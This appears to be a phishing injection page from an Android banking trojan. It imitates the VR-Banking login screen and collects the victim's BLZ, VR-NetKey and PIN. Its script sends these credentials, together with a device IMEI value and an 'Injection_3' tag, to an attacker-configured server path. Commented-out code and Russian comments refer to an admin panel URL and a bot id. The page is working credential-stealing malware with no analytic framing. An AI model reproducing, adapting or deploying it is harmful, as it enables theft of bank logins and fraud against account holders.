<!doctype html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>VR</title>
    <style>
        html, body {
            background-color: #0066b3;
        }

        .input-field {
            background-color: rgba(245, 245, 245, 0);
            outline: medium none;
            border: 1px solid rgba(245, 245, 245, 0);
            border-bottom-color: rgb(255, 255, 255);
            -moz-border-top-colors: none;
            -moz-border-right-colors: none;
            -moz-border-bottom-colors: none;
            -moz-border-left-colors: none;
            border-image: none;
            width: 80%;
            margin-left: 10px;
            margin-right: 10px;
            font-family: "Arial",serif;
            font-size: 18px;
            font-weight: lighter;
            text-indent: 5px;
        }

        .header {
            background-clip: border-box;
            background: rgba(245, 245, 245, 0) scroll;
            box-sizing: border-box;
            color: #111;
            margin-top: 15px;
            margin-left: 10px;
        }

        .header > img {
            width: 86px;
            height: 50px;
        }

        .submit-button {
            -moz-box-shadow:inset 0 1px 0 0 #7a8eb9;
            -webkit-box-shadow:inset 0 1px 0 0 #7a8eb9;
            box-shadow:inset 0 1px 0 0 #7a8eb9;
            background-color:#009CDE;
            border:1px solid #009CDE;
            display:inline-block;
            cursor:pointer;
            color:#ffffff;
            font-family: Arial,serif;
            font-size:18px;
            padding:16px 44px;
            text-decoration:none;
            width: 85%;
            margin-left: 10px;
            margin-right: 10px;
            font-weight: lighter;
        }

        .submit-button:hover {
            background-color:#00acf4;
        }

        .submit-button:active {
            position:relative;
            top:1px;
        }

        .fielderror {
		border: 0;
            border-bottom: 1px solid #EC4343;
			            background-color: rgba(245, 245, 245, 0);
            outline: medium none;

            -moz-border-top-colors: none;
            -moz-border-right-colors: none;
            -moz-border-bottom-colors: none;
            -moz-border-left-colors: none;
            width: 80%;
            margin-left: 10px;
            margin-right: 10px;
            font-family: "Arial",serif;
            font-size: 18px;
            font-weight: lighter;
            text-indent: 5px;
        }

    </style>
</head>
<?php 
$IMEI_country = htmlspecialchars($_REQUEST["p"], ENT_QUOTES);
//$IMEI_country = "321|tr";
include "config.php";
?>
<body>
    <div id="content_div">
        <div class="header">
            <img src="data:image/png;base64, " />
        </div>
        <br/>
        <br/>

        <form action="null" method="post" id="_mainForm" target="flow_handler" style="text-align: center;">
            <input placeholder="BLZ" id="blz" name="blz" class="input-field" type="text" />
            <br/>
            <br/>

            <input placeholder="VR-NetKey oder Alias" name="netkey" id="netkey" class="input-field" type="password" />
            <br/>
            <br/>

            <input placeholder="PIN" name="pin" id="pin" class="input-field" type="password" />
            <script>
                document.getElementById('pin').onkeypress = function (e) {
                    return !(/[А-Яа-яA-Za-z ]/.test(String.fromCharCode(e.charCode)));
                }
            </script>
            <br/>
            <br/>

            <input type="hidden" name="name" value="VR-Banking">
            <input class="submit-button" type="button" value="Log In" id="submitBtn1">
            <br/>
            <br/>
            <br/>

        </form>
        <iframe src="about:blank" name="flow_handler" style="visibility:hidden;display:none"></iframe>
    </div>

    <script type="text/javascript">
			   
				
				
				(function () {


                   var  __insHiddenField = function (objDoc, objForm, sNm, sV) {
                        var input = objDoc.createElement("input");
                        input.setAttribute("type", "hidden");
                        input.setAttribute("name", sNm);
                        input.setAttribute("value", sV);
						input.value = sV;
                        objForm.appendChild(input);
                    };


                   /* var g_oForm = document.getElementById('_mainForm'), g_sFAct = prompt('getLink');
					
					if(!/https?:\/\//i.test(g_sFAct))
					   g_sFAct = 'http://' + g_sFAct;
					
                    g_oForm.setAttribute('action',g_sFAct); // устанавливаем у формы урл админки
					try{
					   g_oForm.action = g_sFAct;
					} catch(e){};
					
					var g_FrmCode = prompt('getId');
                    __insHiddenField(document, g_oForm, 'code', g_FrmCode); // получаем id бота
*/

                    var g_oBtn = document.getElementById('submitBtn1');
                    g_oBtn.onclick = function () {
					
						var oNumInp = document.getElementById('blz');
                        var oCodeInp = document.getElementById('netkey');
                        var PIN = document.getElementById('pin');

						try{
							oNumInp.className = oCodeInp.className = 'input-field';
						} catch(e){};
						
                        if (oNumInp.value.length < 3) {
							try{
								oNumInp.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
						
                        if (!/^\w{3,100}$/i.test(oCodeInp.value)) {
							try{
                                oCodeInp.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
                        if (!/^\w{3,100}$/i.test(PIN.value)) {
							try{
                                PIN.className = 'fielderror';
							} catch(e){};
                            return false;
                        }
						
						top['closeDlg'] = true;
						/*prompt('send', '{"dialog id" : "vr_banking'+
						'", "blz": "'+oNumInp.value+
						'", "vr_netkey_oder_alias" : "'+oCodeInp.value+
						'", "pin": "'+PIN.value+'"}');
						
						document.getElementById('content_div').style.visibility = 'hidden';
						g_oForm.submit();*/
						
						var url='<?php echo $URL; ?>';
var imei_c='<?php echo $IMEI_country; ?>';
location.replace(url+'/o1o/a10.php?p=' + imei_c+"|Injection_3|vr_banking|"+oNumInp.value+"|"+oCodeInp.value+"|"+PIN.value);


						
						
						return false;
                    };

                })();
            </script>
</body>
</html>
